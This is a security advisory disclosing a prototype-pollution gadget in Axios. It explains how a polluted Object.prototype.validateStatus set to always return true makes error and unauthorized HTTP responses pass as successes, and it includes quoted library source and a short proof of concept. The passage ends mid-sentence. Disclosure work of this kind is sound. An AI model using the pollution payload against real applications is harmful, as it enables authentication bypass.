Axios: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy
# Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.
The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.
Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-287: Improper Authentication
CVSS 3.1
Score: 8.2 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely |
| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Impact within the application |
| Confidentiality | Low | 401 treated as success may expose data behind auth gates |
| Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions |
| Availability | None | The function works correctly (returns true), no crash |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.
Why validateStatus Is Uniquely Vulnerable
All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:
```javascript
// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
if (prop in config2) { // ← in traverses prototype chain!
return getMergedValue(a, b);
} else if (prop in config1) {
return getMergedValue(undefined, a);
}
}
// mergeConfig.js:94
const mergeMap = {
// ... all others use defaultToConfig2 ...
validateStatus: mergeDirectKeys, // ← ONLY property using this strategy
};
```
The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.
Proof of Concept
1. The Setup (Simulated Pollution)
```javascript
Object.prototype.validateStatus = () => true;
```
2. The Gadget Trigger (Safe Code)
```javascript
// Application checks authentication via HTTP status codes
try {
const response = await axios.get('https://api.internal/admin/users');
// Developer expects: 401 → catch block → redirect to login
// Reality: 401 → treated as success → displays admin data
processAdminData(response.data); // Executes with 401 response body!
} catch (error) {
redirectToLogin(); // NEVER REACHED for 401/403/500
}
```
3. The Execution
```javascript
// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true
// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus; // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
resolve(response); // 401, 403, 500 all resolve here!
}
```
4. The Impact
```
Before pollution:
HTTP 200 → resolve (success)
HTTP 401 → reject (auth error) → redirectToLogin()
HTTP 403 → reject (forbidden) → showAccessDenied()
HTTP 500 → reject (server error) → showErrorPage()
After pollution:
HTTP 200 → resolve (success)
HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
HTTP 403 → resolve (SUCCESS!) → application thinks user has access
HTTP 500 → resolve (SUCCESS!) → application processes error as dat
